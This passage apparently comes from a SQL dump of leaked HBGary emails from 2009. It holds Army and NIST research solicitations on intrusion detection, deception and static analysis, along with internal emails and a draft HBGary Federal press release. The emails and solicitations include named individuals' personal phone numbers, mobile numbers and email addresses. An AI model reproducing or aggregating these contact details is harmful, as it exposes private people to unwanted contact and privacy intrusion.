tools there is a need for further advancement of real-time visualization techniques. Furthermore, the tactical environment brings added complexities to distributed intrusion detection systems (IDS) that may also be wireless. \r\nA main objective is to design a framework that facilitates real-time, visual data reduction techniques that help alleviate the information overload experienced by the Warfighter. Distributed intrusion detection systems have the potential to produce vast amounts of data that can easily overwhelm the administrators and nodes of a network and in the worst case desensitize them due to the constant flood of textual information. In a tactical environment, there is often not enough time to check every log entry from network nodes so there is a huge advantage for a system that can present the most important information in an easy to understand, visual format that allows the user to drill down further into the data if needed.\r\nMoreover, recent trends show coordinated, stealthy behavior coming from multiple sources is on the rise. Another objective is to make the discovery of such events possible and better understood with novel visual representations and filtering. Having such a system in place will greatly aid in the detection and notification of network probing, distributed denial of service attacks, replay attacks, data exfiltration and other malicious behavior coming from coordinated efforts. It is also foreseeable that such tools could aid in the attribution of such attacks that are coming internally, externally, or both.\r\nDesigning and deploying these visualization techniques will help aid the real-time detection of coordinated attacks such as GhostNet and other network security intrusions. These visual systems will reduce detection time and false alarms by providing intuitive and timely information related to the overall security posture of the network. Filtering and clustering capabilities should be incorporated as ways to reduce the dataset and still maintain the essential information. One last challenge is ensuring that the software-based solution can operate in the tactical world where bandwidth and processing capabilities are limited and the number of nodes may range from a few to thousands. For this reason, the Army is seeking innovative ideas from the small business community in order to better visually present the data generated by a distributed IDS and the security posture of the network.\r\nPHASE I:\r\n1) Perform a study to determine what approaches can be taken toward attacking the problem. The end solution may run on both Windows and Linux. \r\n2) Provide design and architectural documents for a prototype tool.\r\n3) Develop a simple prototype that demonstrates the feasibility of the concept.\r\n4) Towards the end of the study, a presentation will be given to the government detailing the Phase I effort and Phase II options. The government will decide whether to pursue a Phase II effort and the best options for it.\r\nPHASE II:\r\n1) Based on the results from Phase I, refine and extend the design of the real-time visualization tool for distributed intrusion detection system data prototype to a fully functioning solution.\r\n2) Conduct a test and provide evaluation results that demonstrate the ability of the proposed solution to visually represent intrusion detection system data against a simulated attack.\r\n3) Conduct a test and provide evaluation results that demonstrate the ability of the proposed solution to visually represent the identification of compromised hosts, data exfiltration and anomalous network flows.\r\n4) Provide updated design and architectural documents regarding the Phase II effort.\r\n5) A presentation will be given to the government detailing the Phase II effort.\r\n\r\nPHASE III: In Phase III, the actual commercialization of the contractor product will take place. The technology being researched and developed under this topic will allow for quicker response time to network attacks, provide a real-time visual representation of the intrusion detection system data and the network security posture, and reduce the number of false alarms associated to IDS. These capabilities would benefit both the DoD strategic and tactical communities but also commercial organizations who need to optimize the speed at which network attacks are detected and responded to.\r\n\r\nREFERENCES:\r\n1. Tracking GhostNet: Investigating a Cyber Espionage Network http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network\r\n\r\n2. A. Wood, “Intrusion detection: Visualizing Attacks in IDS Data”, SANS Institute, February 2003.\r\n\r\n3. Goodall, J. R. “User Requirements and Design of a Visualization for Intrusion Detection Analysis” Proceedings of the 2005 IEEE Workshop on Information Assurance and Security West Point, NY United States Military Academy, pp. 394-401, 2005.\r\n\r\n4. G. Conti, K. Abdullah, J. Grizzard, J. Stasko, J. Copeland, M. Ahamad, H. Owen and C. Lee, &quot;Countering Security Analyst and Network Administrator Overload Through Alert and Packet Visualization&quot; IEEE Computer Graphics and Applications (CG&amp;A), March 2006.\r\n\r\n5. F. Fischer, F. Mansmann, D. Keim, S. Pietzko, and M. Waldvogel, “Large-scale Network Monitoring for Visual Analysis of Attacks” VizSec 2008, September 2008.\r\n\r\n6. R. Blue, C. Dunne, A. Fuchs, K. King, and A. Schulman, “Visualizing Real-Time Network Resource Usage” VizSec 2008, September 2008.\r\n\r\nKEYWORDS: Intrusion detection systems, visualization, network attacks, graphical display, real-time, distributed, tactical, cyber defense, cyber security\r\n\r\nTPOC: Mr. Jonathan Santos\r\nPhone: 732-427-5539Fax: 732-427-4880\r\nEmail: Jonathan.M.Santos@us.army.mil\r\n2nd TPOC: Leonard Pohl\r\nPhone: 732-427-3724\r\nFax: 732-427-4880Email: len.pohl@us.army.mil\r\n\r\n\r\nA10-012 TITLE: Coordinated Responses through Knowledge Sharing in Mobile Agent-Based Intrusion\r\nDetection Systems\r\nTECHNOLOGY AREAS: Information Systems\r\n\r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n\r\nOBJECTIVE: To develop a mechanism by which Mobile Agents can formulate a coordinated response to a threat.\r\n\r\nDESCRIPTION: A Mobile Agent-Based Intrusion Detection system is one that uses autonomous software that is capable of moving from one host to another in an attempt to detect and respond to suspicious activity. Typically, this suspicious activity is detected based solely on locally collected data. Thus, the agent only has a limited picture when attempting to formulate a response. This response may not be appropriate if the activity is part of a larger coordinated attack. \r\n\r\nCoordinated attacks are an ever increasing threat to networks world wide, such attacks include but are not limited to distributed scanning (use of multiple hosts to scan a network) and distributed denial of service attacks. Due to the distributed nature of such attacks, detecting and responding to them is a very complex problem. \r\n\r\nThe focus of this research is to develop a framework in which mobile agents can be dispatched in a random or as needed basis to network nodes. This research should investigate the use of multiple agents with different intrusion detection mechanisms running. If each agent detects intrusions in the same manner then an attacker only needs to circumvent that detection mechanism. When different detection mechanisms are used they will overlap in some areas, such as one would see if a Venn diagram was drawn showing what each mechanism can detect, but will provide a more robust defense-in-depth architecture. \r\n\r\nThe random distribution of these agents amongst the network must ensure the protection of the network while not being predictable by an attacker.  Agents on the network should be replaceable by other agents to dynamically modify the network security. In doing so it will need to be researched how to maintain a command and control architecture of the agents, allowing them to join, leave, find, and communicate with other agents. The work may look into leveraging distributed hash tables to accomplish this. \r\n\r\nAdditionally, the framework should allow the agents to securely communicate with each other and be invisible to attackers looking to gain information regarding which agents are active on the network and where. Beyond finding and communicating with each other, the agents will need to be able to form trust relationships of their neighboring agents and develop a jointly formulated view of the network, whether and intrusion is occurring, and how to respond. Determining how to and when to trust other agents is important as the agents themselves may be compromised to act in a malicious manner. \r\n\r\nThe agents would be operating in both a tactical mobile ad hoc network, which has constraints such as low bandwidth, and a sustaining base network which does not have the constraints of a tactical network. Further, this research would evaluate the benefits of mobile agents over static agents in both tactical and sustaining base networks\r\n\r\nResearch areas of interest include but are not limited to: (1) communication protocols used by the agents, (2) securing the communication between the agents—(integrity, availability and confidentiality), (3) formulating coordinated responses among agents, (4) communicating across resource constrained networks, (5) communicating across heterogeneous networks, (6) detecting coordinated attacks, (7) determining trust of other agents, (8) command and control architecture for agent distribution, join/leave network, and finding neighbor nodes, (9) varied intrusion detection mechanisms for agents to use, (10) communications that are not detectable by an attacker.\r\n\r\nPHASE I: The contractor shall perform a study to develop a concept for a framework and knowledge-sharing mechanism between mobile agents. Towards the end of the study the contractor shall present to the government a design and architecture document for the proposed framework and communication protocols. In addition, the contractor will provide a minimal prototype solution that demonstrates the feasibility of the concept.\r\n\r\nPHASE II: Based on the results of Phase I, the contractor will refine and extend the design of the mobile agent communication and response formulation mechanism to a fully functionally solution capable of detecting and responding to coordinated attacks. At the end of Phase 2, the contractor will provide test and evaluation results demonstrating the aforementioned ability. Additionally, the contractor will provide an updated design and architecture document for the proposed framework and communication protocols.\r\n\r\nPHASE III: Formulating coordinated responses to distributed attacks would be marketable to both DoD and commercial sectors. Applicable DoD deployment domains include tactical and sustaining base networks. Commercial domains that are likely to benefit from this technology due to being potentially high value targets include banking and finance, defense contractors, communication centers, and SCADA systems.\r\n\r\nREFERENCES:\r\n1. A New Mobile Agent-Based Intrusion Detection System Using Distributed Sensors, http://webfea-lb.fea.aub.edu.lb/proceedings/2004/SRC-ECE-43.pdf\r\n\r\n2. Power Aware Agent-based Intrusion Detection Systems, http://infolab.stanford.edu/~jonsid/spaid.pdf\r\n\r\n3. Network and Agent Based Intrusion Detection Systems, http://www.model.in.tum.de/um/courses/seminar/worm/WS0405/albag.pdf\r\n\r\n4. A New Flexible Multi-Agent Approach to Intrusion Detection for Grid, Pei-You Zhu, Ji Gao\r\n\r\n5. Applying Mobile Agents to Intrusion Detection and Response, http://csrc.nist.gov/publications/nistir/ir6416.pdf\r\n\r\nKEYWORDS: Mobile Agents, Intrusion Detection, Coordinated Attacks, Distributed Attacks, Cyber Security, Cyber Defense\r\nTPOC: Mr. Jonathan Santos\r\nPhone: 732-427-5539\r\nFax: 732-427-4880Email: Jonathan.M.Santos@us.army.mil\r\n2nd TPOC: Leonard Pohl\r\nPhone: 732-427-3724\r\nFax: 732-427-4880Email: len.pohl@us.army.mil\r\n\r\n\r\nA10-013 TITLE: Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing\r\nNetworks\r\n\r\nTECHNOLOGY AREAS: Information Systems\r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n\r\nOBJECTIVE: To develop an intrusion detection system (IDS) that can be leveraged to create a self-healing, self-monitoring, self-diagnosing, self-hardening, and self-recovering network architecture after corruption an attack through the automatic generation of signatures for malicious code.\r\n\r\nDESCRIPTION: In today’s world, computer systems have become so complex and interdependent that the original model of system defense, based around a signature-based intrusion detection system (IDS) that requires updating by the software developer for new malicious code signatures is becoming infeasible. Additionally, these signatures are created manually through long hours of disassembling a worm or virus which creates a critical lag time before protection mechanisms can reach the field. The Army needs effective mechanisms to protect vulnerable hosts from being compromised while allowing them to continue providing critical services under aggressively spreading attacks for unknown vulnerabilities. A failure to respond correctly and rapidly can have disastrous consequences. Army systems should automatically detect and respond to threats of all kinds, including but not limited to automated attacks.\r\n\r\nTherefore, the goal of this research is to develop a host intrusion detection system (IDS) that can support a self-healing, self-monitoring, self-diagnosing, self-hardening, and self-recovering network architecture after corruption an attack by automatically creating malicious code signatures to protect against variants of known threats as well as possible zero day attacks. The research under this effort would focus on host-based IDS that can monitor software execution at the instruction level to track what data was derived from untrusted sources, and detect when untrusted data is used in ways that signify that an attack has taken place. Research will have to be conducted for determining trusted versus untrusted resources, but for the initial effort under this topic all processes and data from locally executed programs on the host would be treated as trusted, with all information coming from external sources as untrusted, and tracked regarding where the external data propogates throughout the system (e.g., system calls, assembly code, format strings, etc). This technique should be able to reliably detect a large class of exploit attacks and should not require access to source code of programs running on the host, allowing it to be used on commercial-of-the-shelf software. \r\n\r\nOnce the IDS on the host detects an attack, it should generate a signature which is then distributed to IDS software on other vulnerable hosts over a secure connection. The generation of the new signatures should take into account information such as: what data can be extracted from the system at the point of the attack, what data can be traced back through the system using the point of the attack as a starting point, what data flows through the system were captured at the time of the attack, what information is on the stack or heap currently, what information is in memory, and how closely does this information match to previously known signatures. This will allow for tightly, well-crafted signatures with a low likelihood of false positives or false negatives. The more tightly these signatures can match the exploit the higher the probability of detecting polymorphic worms and viruses becomes. The signature creation algorithm should be able to deal with an adversarial environment where malicious parties may try to mislead the system in the creation of new signatures. \r\n\r\nThe other hosts’ IDS authenticate the source of the new signature, verify the integrity of the signature, verify the correctness of the signature, and use it to self-harden against attacks. Malicious code signatures are created from the exploit itself similar to the way a vaccine is created from a virus and should therefore have a lower chance of triggering false positives.\r\n\r\nPHASE I: \r\n1) Develop a concept for a self healing intrusion detection system technology.\r\n2) Provide design and architecture documents of a prototype tool that demonstrates the feasibility of the concept.\r\n3) Develop prototype that demonstrates the feasibility of the concept\r\nPHASE II:\r\n1) Based on the results from Phase I, refine and extend the design of the intrusion detection system prototype to a fully functioning solution.\r\n2) Provide test and evaluation results demonstrating the ability of the proposed solution to detect, react, and recover from a simulated attack.\r\n\r\nPHASE III: Applicable DoD deployment domains include tactical and sustaining base networks. The DoD will utilize the technology developed under this effort to remain operational during an attack. The automation provided by this technology also allows for a decrease in human management of the network and which allows for that soldier/employee to focus on another critical area of the mission. As a result, the technology will find use in both the DoD and commercial sector.\r\n\r\nREFERENCES:\r\n1. David Brumley, James Newsome, Dawn Song, Hao Wang, Somesh Jha, “Theory and Techniques for Automatic Generation of Vulnerability-Based Signatures”, 2006. http://reports-archive.adm.cs.cmu.edu/anon/2006/CMU-CS-06-108.pdf\r\n\r\n2. David Brumley, James Newsome, Dawn Song, “Sting: An End-to-End Self-Healing System for Defending against InternetWorms”, 2006. http://bitblaze.cs.berkeley.edu/papers/sting-book-chapter-06.pdf\r\n\r\n3. James Newsome, Dawn Song, “Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software”, 2005. http://valgrind.org/docs/newsome2005.pdf\r\n\r\nKEYWORDS: Self healing, Intrusion detection systems (IDS), automatic signature generation, cyber security, cyber protection\r\n\r\nTPOC: Mr. Jonathan Santos\r\nPhone: 732-427-5539Fax: 732-427-4880\r\nEmail: Jonathan.M.Santos@us.army.mil\r\n2nd TPOC: Leonard Pohl\r\nPhone: 732-427-3724\r\nFax: 732-427-4880Email: len.pohl@us.army.mil\r\n\r\n\r\nA10-014 TITLE: Spoofing Network Architectures in Response to Hostile Reconnaissance\r\n\r\nTECHNOLOGY AREAS: Information Systems\r\n\r\nACQUISITION PROGRAM: PEO Missiles and Space\r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n\r\nOBJECTIVE: To limit the effectiveness of a cyber attack and to increase the resources required to perform hostile reconnaissance of the network resulting in additional time for the defenders to mount an appropriate response.\r\n\r\nDESCRIPTION: The first stage in a cyber attack is to perform reconnaissance on the target network. The attacker’s goal is to identify targets that either contain the desired information or are critical to network traffic. Following that step, the attacker will determine what is exploitable on the targeted network devices. If the information gathered above is incorrect, the attackers will waste time and resources attempting to exploit systems and services that may or may not exist, which will result in more time for the defenders to take the appropriate response. \r\n\r\nThe focus of this research is to develop a mechanism to detect network based reconnaissance efforts and to deny the attacker access to real network data while providing them with false information regarding the number and types of systems connected to the network. Secondly, the research would develop methods to deceive attackers so that they cannot determine what cyber security protection technologies are being used. This includes but is not limited to: what the protection technologies monitor, where they are, and how they communicate. These mechanisms will need to be able to operate in tactical and strategic environment and be able to work within the respective restraints associated within these environments. Finally, these mechanisms should minimize the release of false information for legitimate requests.\r\n\r\nResearch areas of interest include but are not limited to (1) detecting scanning attempts, (2) spoofing valid network information, (3) network confidentiality, and (4) cyber security protection technology confidentiality.\r\n\r\nPHASE I: \r\n1) Research and develop a concept for detecting a reconnaissance effort on the network and supply false information for the attacker instead of the real network information. \r\n2) Provide design and architecture documents of a prototype tool that demonstrates the feasibility of the concept.\r\n3) Provide a minimal software prototype demonstrating the feasibility of the concept.\r\n\r\nPHASE II: 1) Based on the results from Phase I, refine and extend the design of the prototype system to a fully functioning system addressing multiple recon vectors. \r\n2) Provide system design specifications.\r\n3) Provide an analysis demonstrating the robustness of the product to a set of un-prepared-for attacks and the systems ability to detect and react to these attacks.\r\n4) Provide risk/impact analysis of false positives resulting in legitimate requests receiving misleading information.\r\n\r\nPHASE III: The government and commercial sectors are both under constant cyber attack by domestic and foreign interests who seek to steal their sensitive information. Therefore, a means to provide false information to attackers which would limit their ability to attack the network would be marketable to both organizations.\r\n\r\nREFERENCES:\r\n1. Network Scanning Techniques Understanding how it is done, http://ofirarkin.files.wordpress.com/2008/11/network_scanning_techniques.pdf\r\n\r\n2. Worm and attack early warning: piercing stealthy reconnaissance, http://ieeexplore.ieee.org/xpl/freeabs_all.jsp?arnumber=1306976\r\n\r\n3. Detecting randomly scanning worms based on heavy-tailed property, http://ieeexplore.ieee.org/xpls/abs_all.jsp?arnumber=1461215\r\n\r\n4. 2001: A Framework for Deception, http://all.net/journal/deception/DeceptionFramework.pdf\r\n\r\n5. The Use of Deception Techniques: Honeypots and Decoys, http://all.net/journal/deception/Deception_Techniques_.pdf\r\n\r\nKEYWORDS: Network reconnaissance, deception, spoofing, intrusion detection, cyber defense, cyber security\r\n\r\nTPOC: Mr. Jonathan SantosPhone: 732-427-5539\r\nFax: 732-427-4880\r\nEmail: Jonathan.M.Santos@us.army.mil\r\n2nd TPOC: Leonard Pohl\r\nPhone: 732-427-3724Fax: 732-427-4880\r\nEmail: len.pohl@us.army.mil\r\nU.S. DEPARTMENT OF COMMERCE TOPIC DETAILS\r\nNational Institute of Standards and Technology \r\nOpening Date: October 30, 2009 Closing Date: January 22, 2010 \r\nNIST – 10 – SBIR \r\nhttp://tsapps.nist.gov/TS_SBIR/FY10%20SBIR%20Solicitation.pdf\r\nFY10 NIST SBIR 51 \r\n9.05 Information Technology \r\n9.05.01.9-R Sound Static Security Analyzer for Software \r\nSoftware is crucial in modern society for operations as diverse as jet planes, \r\ncell phones, heart pacemakers, electronic commerce, national infrastructure \r\n(like water or electricity SCADA), manufacturing machinery, and factories. \r\nMany of these have external digital interfaces, for instance to set parameters or \r\ncontrol operation. Severe security vulnerabilities are still frequently found in new code, even for \r\nbugs we&#39;ve known about for decades, like buffer overflow or hard-coded \r\npasswords. \r\nSpecial programs called &quot;static analyzers&quot; have been developed to report some \r\nvulnerabilities in software [1]. Unfortunately finding vulnerabilities can be \r\narbitrarily complex, because of the difficulty of analyzing millions of lines of \r\ncode, looking for dozens of different kinds of vulnerabilities, and explaining \r\nfindings so programmers can quickly determine appropriate remediation. The \r\nchallenge of meeting all these goals and others with limited budgets leads \r\ndevelopers of static analyzers to use approximations and heuristics. \r\nNIST is investigating software assurance methods to detect, remove, mitigate, \r\nor prevent vulnerabilities. Analogous to physical reference measurements, we \r\nwant to be certain that types of vulnerabilities are (or are not) present in a piece \r\nof software. Since perfect manual review is impractical, we need a static \r\nanalyzer which is sound [2]. \r\nThat is, if it reports that a vulnerability is present, it is present with mathematical \r\nsurety. If it reports that it is absent, it is assuredly absent. (Theoretical \r\nlimitations mean all analyses must sometimes answer &quot;unknown&quot;.) \r\nResearch is needed to (A) find a theoretical and mathematically sound \r\nfoundation for the semantics of computer programs, (B) apply such a \r\nfoundation to an actual programming language, and (C) implement analysis of \r\nrealistic programs, such as those in the SAMATE Reference Dataset (SRD) [3]. \r\nPhase 1 of this research should demonstrate a prototype of such an analyzer \r\nfor the C programming language, along with delivering a report giving the \r\ntheoretical foundation of the sound analysis used. \r\nProposals submitted under this subtopic may address access to NIST&#39;s \r\nsoftware tools and staff. NIST is willing to work collaboratively with the \r\nawardee to help evaluate the scope of analyses which can be handled. \r\nIn Phase 2 a functioning system for sound analysis of C programs for at least \r\nthree of the Common Weakness Enumeration (CWE [4]) vulnerabilities listed \r\nbelow will be delivered to NIST for its retention and ownership. \r\nCWE 78 OS Command Injection \r\nCWE 89 SQL Injection CWE 121 Stack-based Buffer Overflow (or CWE 122. CWE 121 and 122 \r\ncannot be counted as two vulnerabilities.) \r\nCWE 134 Uncontrolled Format String \r\nCWE 170 Improper Null Termination \r\nCWE 244 Failure to Clear Heap Memory Before Release \r\nCWE 259 Hard-coded Password \r\nCWE 401 Failure to Release Memory CWE 415 Double Free (or CWE 416 Use After Free. CWE 415 and 416 \r\ncannot be counted as two vulnerabilities.) \r\nCWE 457 Use of Uninitialized Variable \r\nReferences: \r\n[1] &quot;Static Analyzers in Software Engineering&quot;, CrossTalk, The Journal of \r\nDefense Software Engineering, 22(3):16-17, March/April 2009. \r\n[2] &quot;Source Code Security Analysis Tool Functional Specification Version 1.0&quot;, \r\nNIST Special Publication 500-268, May 2007. \r\n[3] &quot;Software Assurance with SAMATE Reference Dataset, Tool Standards, \r\nand Studies&quot;, Oct 2007, 26th Digital Avionics Systems Conference (DASC). \r\n[4] http://cwe.mitre.org/, MITRE. \r\n\r\n\r\n\r\n',11246,'aaron_hbgary_com/11246.html'),(442,'2009-12-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999825.M187880P3547Q443.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Mandiant does a good job describing their strategy against Advanced Persistent Threats','Some key things that I see missing in their strategy. &nbsp;The APT is not just threats against theft of data, the APT is now a weaponized element of a few countries military arsenals likely used for theft of IP, but also to degrade adversaries capabilities, this includes information manipulation, degradation of resources, etc. &nbsp;This is now cyber warfare and needs to be thought of in its totality.The government knows that ridding your network of the APT is not likely so talking about it in that context will seem like you don\'t get it. &nbsp;Another key term the government uses is fight through capability. &nbsp;No matter what happens to our cyber resources, the mission must not be impeded, or not impeded much. &nbsp;So leveraging best in class cybersecurity products that can detect and mitigate advanced zero day attacks, by embedding world class analysts, incident responders, and mission specialists to ensure that under the most advanced threats the mission will be completed.The government is much more savvy then they used to be, they know technology is not going to solve their problems. &nbsp;Fighting the APT has to be an integrated strategy, so how do we work with the other elements improve situational awareness, near realtime incident response to identified threats, and architecture/mission resiliency. &nbsp;We need to have folks that know and can fuse information with intelligence components, operational components, mission planners, etc.So when I read through Mandiants write up, what I see is a group of focus that see this as a pure cyber play. &nbsp;Most big customers will see this as a very narrow view of the solutions needed to combat the APT.In short, when we stand up the HBGary Federal website, I believe our approach to mitigating the APT should resonate better with customers.Thoughts?AaronOn Dec 6, 2009, at 12:29 PM, Bob Slapnik wrote:All,&nbsp;http://www.mandiant.com/apt.htm&nbsp;Our website needs work.&nbsp;Bob&nbsp;',10941,'aaron_hbgary_com/10941.html'),(443,'2009-12-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999825.M374984P3547Q444.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>','Re: Just had Coffee with Bill Luti','Hi Bill,\r\n\r\nAbsolutely.  Next time I will work it a little farther in advance.\r\n\r\nHappy Holidays,\r\n\r\nAaron\r\n\r\n\r\nOn Dec 5, 2009, at 1:16 PM, Varner, Bill wrote:\r\n\r\n> I did not know he was leaving. Seems to me that he never quite fit  \r\n> with\r\n> the Sector gang.\r\n> I would enjoy a capabilities briefing...I would want to make sure I  \r\n> have\r\n> the right people present.\r\n> My schedule next week is not good - could we get together the next  \r\n> time\r\n> Greg is here? We are certainly interested.\r\n>\r\n> Thanks,  Bill\r\n>\r\n> Bill Varner\r\n> President\r\n> Mission, Cyber & Technology Solutions Group\r\n> ManTech International Corporation\r\n> Office: (703) 674-2778 l Mobile: (703) 475-7909\r\n> Email: Bill.Varner@Mantech.com\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, December 04, 2009 4:30 PM\r\n> To: Varner, Bill\r\n> Subject: Just had Coffee with Bill Luti\r\n>\r\n> Bill,\r\n>\r\n> Did you know Bill Luti is leaving Northrop?  I just had coffee with  \r\n> him.\r\n> He has some interesting ideas and aspirations for developing a  \r\n> federated\r\n> approach to cyber security solutions, rather than an integrated\r\n> approach.  I mentioned I thought ManTech might be a good place for  \r\n> that,\r\n> he was thinking slightly smaller, but I told him you guys operate  \r\n> like a\r\n> smaller, more agile organization.  Just thought I would pass it along.\r\n>\r\n> Also, any interest in getting an HBGary capabilities overview from  \r\n> Greg\r\n> Hoglund.  He is in town next week and thought if you or your team was\r\n> interested I would set something up.  I am also working a partnership\r\n> between HBGary, Palantir, and CMU to develop some capabilities,\r\n> methodologies to push the rock on Attribution - I think its possible.\r\n>\r\n> This has been my first week on the job (officially) and it has been a\r\n> bang up first week!  I now know what you meant about having fun  \r\n> again...\r\n> it feels great to wake up.\r\n>\r\n> Have a good weekend.\r\n> Aaron\r\n>\r\n>\r\n\r\n',5353,'aaron_hbgary_com/5353.html'),(444,'2009-12-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999825.M6109P3547Q442.eml','all@hbgary.com','Mandiant does a good job describing their strategy against Advanced Persistent Threats','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nhttp://www.mandiant.com/apt.htm\r\n\r\n&nbsp;\r\n\r\nOur website needs work.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14659,'aaron_hbgary_com/14659.html'),(445,'2009-12-07','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999825.M626271P3547Q445.eml','greg@hbgary.com,penny@hbgary.com,aaron@hbgary.com,ted@hbgary.com,greg@hbgary.com','Final HBGary Federal Press Release; HBGary Federal Media Talking Points','Hi everyone, Below is the final press release.&nbsp;I plan to distribute it to our key media and anaylsts at 6 AM PT/9 AM ET tomorrow morning (Monday). I have also attached some possible talking points for both Greg and Aaron to use as a guide if we secure media interviews. Please feel free to amend&nbsp; (and fill in where needed) -- they are just a starting point but address some questions I think we\'ll get from the media re the announcement.\r\n&nbsp;\r\nIf you need more time to review or have any questions or concerns, please let me know ASAP. Best, Karen\r\n&nbsp;\r\n650-814-3764\r\n&nbsp;\r\n&nbsp;\r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.&nbsp; Our goal is to provide\r\n the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp; HBGary Federal will set the standard for building and\r\n integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n&nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com. \r\n&nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United\r\n States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in 